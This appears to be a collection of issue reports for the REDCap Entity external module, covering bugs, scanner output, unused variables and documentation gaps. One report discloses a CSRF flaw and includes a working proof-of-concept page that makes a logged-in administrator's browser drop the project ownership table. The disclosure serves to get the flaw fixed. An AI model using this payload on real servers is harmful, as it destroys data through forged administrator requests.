In the entity form context, all that is seen for JSON type fields is a blank text box, even if there is an entry in the database.
I believe this is because they are returned from the server as stdClass objects rather than the raw JSON string.

See below an image of the database and the interface:

The fix is to json_encode the data before it gets to the exposure point, I am looking for a place to do that.

By the time the field is being built for the frontend, the data is already bad.

The breakage occurs here:

JSON data is set as stdClass here:

Easily fixable here by changing to an array as follows:

                $value = json_decode($value, true);

But stdClass acts differently and an (array) was likely expected. This should be looked at later, for now fixing EntityForm corrects this issue but I suspect other problems may arise in other contexts.

Can these issues be addressed? I found them running the REDCap external Module security scanner:

# pwd
/var/www/html
# ls
REDCapInstaller.php  cron.php      ehr.php             index.php    modules       redcap-setup.php    robots.txt           temp             webtools2
api                  database.php  hook_functions.php  install.php  php_info.php  redcap_connect.php  server_settings.php  update_pull.php  xdebug_info.php
bin                  edocs         hooks               languages    plugins       redcap_v13.4.2      surveys              upgrade.php
# ls bin/scan
bin/scan
# bin/scan modules/redcap_entity_v0.0.0
Running composer install in /var/www/html/redcap_v13.4.2/ExternalModules/

WARNING: The 'enable-every-page-hooks-on-system-pages' flag is set to 'true' in config.json.
If this is not intentional, please remove this flag from config.json.
If this flag is required, please review any changes since the last scan
that could influence the behavior of any hooks beginning with 'redcap_every_page_'.
Please ensure that any such hooks return immediately if the expected page/context is not detected.


------------------------------------------------------------
Running coding standard checks via phpcs

FILE: /var/www/html/temp/module-scan-To7NyQ/classes/SchemaManagerPage.php
----------------------------------------------------------------------------------------------------
FOUND 4 ERRORS AFFECTING 4 LINES
----------------------------------------------------------------------------------------------------
  11 | ERROR | Function, class, and const definitions are only allowed in namespaced PHP files to
     |       | avoid conflicts between modules and/or REDCap core.  Please add use statements or
     |       | backslashes for all references to classes in the global space (search for 'new' and
     |       | '::'), then add a namespace at the top of this file (perhaps the same namespace as
     |       | your module class). (ExternalModules.Misc.RequireNamespace.Found)
  12 | ERROR | Function, class, and const definitions are only allowed in namespaced PHP files to
     |       | avoid conflicts between modules and/or REDCap core.  Please add use statements or
     |       | backslashes for all references to classes in the global space (search for 'new' and
     |       | '::'), then add a namespace at the top of this file (perhaps the same namespace as
     |       | your module class). (ExternalModules.Misc.RequireNamespace.Found)
 160 | ERROR | Function, class, and const definitions are only allowed in namespaced PHP files to
     |       | avoid conflicts between modules and/or REDCap core.  Please add use statements or
     |       | backslashes for all references to classes in the global space (search for 'new' and
     |       | '::'), then add a namespace at the top of this file (perhaps the same namespace as
     |       | your module class). (ExternalModules.Misc.RequireNamespace.Found)
 165 | ERROR | Function, class, and const definitions are only allowed in namespaced PHP files to
     |       | avoid conflicts between modules and/or REDCap core.  Please add use statements or
     |       | backslashes for all references to classes in the global space (search for 'new' and
     |       | '::'), then add a namespace at the top of this file (perhaps the same namespace as
     |       | your module class). (ExternalModules.Misc.RequireNamespace.Found)
----------------------------------------------------------------------------------------------------

Time: 717ms; Memory: 14MB


---------------------------------------------------------------------------------------------

Please review the results above, consider any WARNINGs, and address any ERRORs.
Solutions to ERRORs should also be applied in comparable scenarios throughout the codebase,
as this scan is not capable of finding all potential vulnerabilities.

The referenced issues are in classes/SchemaManagerPage.php

In REDCap 10 the External Module endpoint under manager get-project-list.php got removed. See https://community.projectredcap.org/answers/87477/view.html for further info.

This breaks the project list funktionality in REDCap Entity Module.

Repost of Project Ownership issue.

The error seems to be due to inconsistent behavior of select2 - which makes dropdown menus searchable - between REDCap versions.

Oddly, commenting out the line that calls select2 causes the offset to only apply to some fields. However, in all menus, the placeholder title option is surrounded by --.

Expected appearance:

Bug:

See official documentation and issue.

Recommend something like sed s/ExternalModules::/$this->/g to correct but each line will need to be inspected.

Remove developers who have left CTS-IT from config.json. Add them to AUTHORS.md, if needed. See https://github.com/ctsit/auto_populate_fields/blob/master/AUTHORS.md for a template for the authors file if needed. Adjust the content to reflect the contributors.

In validateProperty we take a pretty strict definition (by php standards) for the columns defined as 'text'. A php number will be rejected. In my case, I had an array key that was numeric (for one record_id) and when I tried to save it into an entity defined as a 'text' field (as some other records are alpha) - it failed.

I had to explicitly cast it as a string in the payload to the entity before trying to create the new record. One might consider allowing numeric integers as well to be more 'REDCap-like'...

            case 'text':
                if (!is_string($value)) {
                    return false;
                }
                break;

Or, am I missing something here...

Admin searches of projects are only against projects where the admin has rights.

The AJAX backend provided by redcap_entity does not support searched for projects other than those the current user has permissions to. manager/ajax/entity_project_list.php gets its data from getProjectList() which has no exception for admins.

I think entity_project_list.php and getProjectList() need a parameter to allow search against the complete list of projects.

classes/Entity/DB.php, checkEntityDBTable: $reset_entity_types is unused

classes/Entity/DB.php, buildEntityDBTable: $reset_table is unused

classes/EntityForm.php, validate: $entity_type_info is unused

classes/EntityList.php, $data and $entity are unused

classes/Page.php, $context is unusued

examples/protocols_advanced_v0.0.0/ExternalModule.php, $version is unusued

classes/EntityDB.php
Line 108: $reset used but never set.
Line 135: $q set but never used

classes/EntityForm.php
Line 157: $choices set but never used.

classes/SchemaManagerPage.php
Line 144: $rows_attributes set but never used.

Classes/SchemaManagerPage.php missing namespace

A Cross-Site Request Forgery (CSRF) vulnerability permits attackers to take advantage of a legitimate user’s session to perform unauthorized actions on behalf of that user. Effectively, anything the given user has permissions to do, can be done without their knowledge by the attacker. These attacks can be very difficult to trace, as the activity appears to come from the authorized user.

This vulnerability is usually exploited with a specially crafted link that the user is asked to visit but, in conjunction with a persistent XSS vulnerability, it is possible to eliminate the need for a user to take any action.This attack is made possible because the entity module does not verify the origin and authenticity of requests before processing them. All pages that process requests that update data are vulnerable.

If a currently logged-in administrator visits a web page with the following code, the Entity module will drop the project ownership table.

<html>
    <head><title>Totally legit website</title></head>
    <body>
        <h1>You've been hacked</h1>
        <h3>Your Entity project ownership table has been dropped</h3>
        <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
        <script>
            $.ajax(
                            { url:"REDCapServer/ExternalModules/?prefix=redcap_entity&page=manager%2Fschema",
                                            xhrFields: {
                                                            withCredentials: true
                                                        },
                                            type:"POST", 
                                            data: {"operation":"drop","entity_type":"project_ownership","redcap_csrf_token":"foo"}, 
                                            success: function(){}
                                        });
        </script>
    </body>
</html>

Please make use of REDCaps built in anti-CSRF token, redcap_csrf_token

Terry Smith of University of Arizona sent us an email:

Hi all

How would you recommend I get rid of this message which displays when I add the REDCap Entity API so that I can use the Project Ownership module?

It appears that a REDCap hook, plugin, or external module on this page is including/requiring a PHP file in REDCap that is no longer used as of REDCap v9.8.0 and higher (although it still exists temporarily). Please note that the files listed below will cease to be a part of the REDCap base code in releases after May 2020, after which the code on this page may fail and may cause an error. You should notify your REDCap administrator and/or the hook/plugin/module author regarding this information so that the custom PHP code may be fixed accordingly. The following files below should no longer be included/required in PHP custom code: /ProjectGeneral/form_renderer_functions.php.

Thanks
terry

The functions defined in this form are likely being migrated to classes (seen before with getBranchingFields being migrated to DataEntry). The destination classes should be preferentially chosen.

Two methods to aid in this:
Detecting if they are scoped as usual: function_exists(<function_name>)
Detecting where they moved: method_exists(<new_class>, <function_name>)

I suspect the message may appear so long as ProjectGeneral/from_renderer_functions.php is referenced.

Steve Boren reports:

Here's the text of his error message:

Error message: Uncaught Exception: Invalid entity type. in modules/redcap_entity_v2.3.6/classes/EntityList.php:44 Stack trace: 
#0 modules/project_ownership_v2.0.3/plugins/admin_ownership_list.php(7): REDCapEntity\EntityList->__construct('project_ownersh...', Object(ProjectOwnership\ExternalModule\ExternalModule)) 
#1 redcap_v12.1.2/ExternalModules/index.php(126): require('m...') 
#2 {main} thrown
File: modules/redcap_entity_v2.3.6/classes/EntityList.php
Line: 44

The documentation for redcap_entity is incomplete.

The introduction poses a scenario, but does not complete the thought.

The example starts by talking about a clinical trial and then switches to modeling a car. Some portions of a study site example are still in the example configuration. Consider moving the example to its own document in a docs folder. Link to that in the README. Link to open source REDCap modules that implement redcap_entity.

Expand on the content to create a section titled Using redcap_entity. Discuss the methods provided. Discuss what is required and what is optional. Reference snippets from the example to illustrate the code that needs to be written.

Currently, when making entries in a table row, if Entity detects that a cells contains data classified as an email, it attempts to format it as mailto: link.

The address is set by $user_info['user_email'], which (at least in the case of Project Ownership) is null if $user_info is not populated (it seems this is only created if the field is type user), causing emails to be shown properly, but clicking them does not autofill a recipient. In the linked PR, the solution was to set the field type as text and manually build the url (it was also combined into another field).

It may be the case that Project Ownership implemented this feature wrong, but perhaps this is the fix:

case 'email':
    if ($row[$key]) {
        $row[$key] = RCView::a(['href' => 'mailto:' . $row[$key]], $row[$key]);
    }

https://community.projectredcap.org/questions/78289/invalid-entity-type-when-using-redcap-entity-api-e.html

When attempting to configure the OnCore Client external module (2.3.2) for the first time, and using the REDCap Entity API external module (2.3.1) to store institutional IDs, I get a PHP error that crashes REDCap when I attempt to follow the 'Enter User Insitution IDs'.

PHP: 7.2; REDCap: 9.1.24

Here's the error:

REDCap crashed due to an unexpected PHP fatal error!
Error message: Uncaught Exception: Invalid entity type. in /var/www/vhosts/redcap.uits.iu.edu/modules/redcap_entity_v2.3.1/classes/EntityList.php:44 Stack trace: #0 /var/www/vhosts/redcap.uits.iu.edu/modules/redcap_oncore_client_v2.3.2/plugins/oncore_staff_identifier_entry.php(5): REDCapEntity\EntityList->__construct('oncore_staff_id...', Object(OnCoreClient\ExternalModule\ExternalModule)) #1 /var/www/vhosts/redcap.uits.iu.edu/redcap_v9.1.24/ExternalModules/index.php(98): require_once('/var/www/vhosts...') #2 {main} thrown
File: /var/www/vhosts/redcap.uits.iu.edu/modules/redcap_entity_v2.3.1/classes/EntityList.php
Line: 44

Here are the values I used for configuring the OnCore Client external module:

• WSDL: https://iuctsi-oncore-ntg.forteresearconcoreapihapps.com/opas/OpasService?wsdl
• Login: OnCoreAPI
• Password: xxxxx
• Protocol lookup method: SIP
• SIP URL: https://iuctsi-oncore-ntg.forteresearchapps.com/sip/SIPMain#
• Log requests: unchecked
• Store Institution IDs in REDCap or Entity database: Entity Database
• Auto-populate Institution ID from server? unchecked

Complete user search is broken, and must have been for some time for forms with fields of type user.

To recreate:

• Use REDCap 9.3.5 or greater (possibly earlier)
• Enable the protocols_advanced module
• Enable the module on any project
• Navigate to the "Protocols" page
• Attempt to select a PI
• Observe that the list never populates

The root of the issue is here:

At some point, the UserRights/search_user.php endpoint began requiring a term in the GET data and it cannot be set to empty string.

A good candidate to replace the call to this page may be the Project->getUsers() function, although this requires a Project object be available and is scoped to the project from which it is called.
Better would be to find a way to get an empty string or wildcard in to the term arg:

data: function (params) { 
         params.searchEmail = true; 
         params.term = wildcardChar;
         return params; 
     }, 

Also consider hijacking the user-listcall made by the ExternalModules config menu.